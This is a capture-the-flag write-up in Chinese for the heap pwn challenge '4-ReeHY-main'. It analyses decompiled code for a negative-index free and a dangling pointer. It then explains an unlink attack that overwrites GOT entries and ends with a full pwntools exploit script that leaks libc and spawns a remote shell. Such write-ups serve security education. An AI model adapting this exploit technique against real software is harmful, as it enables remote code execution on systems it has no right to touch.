4-ReeHY-main-double_free
拿到程序看一下保护和内容只开了NX保护
是一个有关于堆的创建删除编辑的程序。拿到程序寻找漏洞点。首先进入create函数
int result; // eax char buf; // [rsp+0h] [rbp-90h] void *dest; // [rsp+80h] [rbp-10h] int v3; // [rsp+88h] [rbp-8h] size_t nbytes; // [rsp+8Ch] [rbp-4h] result = counter; if ( counter <= 4 ) { puts("Input size"); result = read_0(); LODWORD(nbytes) = result; if ( result <= 0x1000 ) { puts("Input cun"); result = read_0(); v3 = result; if ( result <= 4 ) { dest = malloc((signed int)nbytes); puts("Input content"); if ( (signed int)nbytes > 112 ) { read(0, dest, (unsigned int)nbytes); } else { read(0, &buf, (unsigned int)nbytes); memcpy(dest, &buf, (signed int)nbytes); } *(_DWORD *)(size_1 + 4LL * v3) = nbytes; *((_QWORD *)&content + 2 * v3) = dest; flag[4 * v3] = 1; ++counter; result = fflush(stdout); } } } return result; }
__int64 read_0() { char buf; // [rsp+2h] [rbp-Eh] read(0, &buf, 0xAuLL); return (unsigned int)atoi(&buf); }
size和cun都为无符号整形,可以形成堆越界
__int64 result; // rax int v1; // [rsp+Ch] [rbp-4h] puts("Chose one to dele"); result = read_0(); v1 = result; if ( (signed int)result <= 4 ) { free(*((void **)&content + 2 * (signed int)result)); flag[4 * v1] = 0; puts("dele success!"); result = (unsigned int)(counter-- - 1); } return result; }
__int64 read_0() { char buf; // [rsp+2h] [rbp-Eh] read(0, &buf, 0xAuLL); return (unsigned int)atoi(&buf); }
函数read_0函数返回的是无符号整形free函数可以造成越界的效果。而且free之后的指针没有立即清0,形成了野指针,且没有进行判断,可以利用doublefree。再看一下edit函数
puts("Chose one to edit"); result = read_0(); v1 = result; if ( result <= 4 ) { result = flag[4 * result]; if ( result == 1 ) { puts("Input the content"); read(0, *((void **)&content + 2 * v1), *(unsigned int *)(4LL * v1 + size_1)); result = puts("Edit success!"); } } return result; }
需要flag标志位为1才能够进行编辑。
Double free
前提条件
— 分配的内存不能太小,在linux中,小于一定大小的内存会用fastbins的形式进行分配。这样的内存在free后不会用双向链表管理。
— 需要有相邻的两块内存先后被free。在一块内存被free时,系统会检查与之相邻的前后2块内存块是否在使用。如果处于空闲状态的话,就会将先前free的内存从双向链表中删除,然后将2块内存合并成一个大的空闲内存再重新链接入双向链表中。
解题过程
1.首先开辟两个大小0x80的堆。
两个堆的地址存放在603060和6030F0处
接下来delete(-2)即,free保存长度的地方,在接着分配一个内存大小和保存长度大小一样的内存,将长度重新赋值
之后实现堆溢出,修改第二个chunk,伪造第一个chunk为free的状态,这样free 第二个chunk时就能够unlink
fd设置为0x6020c8,bk设置为0x6020d0.这样做的目的有2
1.绕过unlink的检查机制
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
大意为:
前一个bin的bk要为当前的bin的指针 *(0x6020c8+0x18)=0x603060
后一个bin的fd要为当前bin的指针 *(0x6020d0+0x10)=0x603060
2.触发unlink机制后第一个chunk的指针变为0x6020c8,unlink机制如下
unlink之后这样存储第一个chunk处的地址转换为0x6020c8
这样我们便可以修改0x6020c8之后的内容,将三个指针全部进行修改分别修改为free,puts和atoi的got表地址
这样我们便可以修改free的got表内容为puts函数的地址,我们调用一次free函数free掉第二个指针即0x602020,这样我们就可以打印puts函数的地址,之后通过所给的libc求出system地址,再将atoi的got表地址改为system函数的地址这样执行atoi函数就相当于执行system函数,由于atoi参数为我们所输入的因此我们直接输入/bin/sh即可
最后EXP如下:
from pwn import * context.log_level='debug' p=remote('111.198.29.45','56686') #p=process('4-ReeHY-main') def create(size,cun,payload): p.recvuntil('$ ') p.sendline('1') p.recvuntil('Input size\n') p.sendline(str(size)) p.recvline('Input cun\n') p.sendline(str(cun)) p.recvuntil('Input content\n') p.send(str(payload)) def delete(cun): p.recvuntil('$ ') p.sendline('2') p.recvuntil('Chose one to dele\n') p.sendline(str(cun)) def edit(cun,payload): p.recvuntil('$ ') p.sendline('3') p.recvuntil('Chose one to edit\n') p.sendline(str(cun)) p.recvuntil('Input the content\n') p.send(str(payload)) p.recvuntil('$ ') p.sendline('playmaker') create(128,0,'a'*128) create(128,1,'0'*128) delete(-2) payload=p32(256)+p32(128) create(20,2,payload) #fake chunk 0 payload1=p64(0)+p64(0x81) payload1+=p64(0x6020c8)+p64(0x6020d0)#fd&bk payload1+='a'*96 payload1+=p64(0x80)+p64(0x90) edit(0,payload1) #unlink delete(1) payload2=p64(0) payload2+=p64(0)+p64(0) payload2+=p64(0x602018)+p64(1)#free_got payload2+=p64(0x602020)+p64(1)#puts_got payload2+=p64(0x602058)+p64(1)#atoi edit(0,payload2) edit(0,p64(0x4006d0))#edit free_got to puts_plt #gdb.attach(p) #pause() delete(1)#print put_got puts_got_addr=u64(p.recv(6)+'\x00'+'\x00') base_addr=puts_got_addr-0x6F690 system_addr=base_addr+0x45390 bin_sh=base_addr+0x18cd57 edit(2,p64(system_addr)) p.recvuntil('$ ') p.sendline('/bin/sh') p.interactive()
来源:https://www.cnblogs.com/playmak3r/p/12094526.html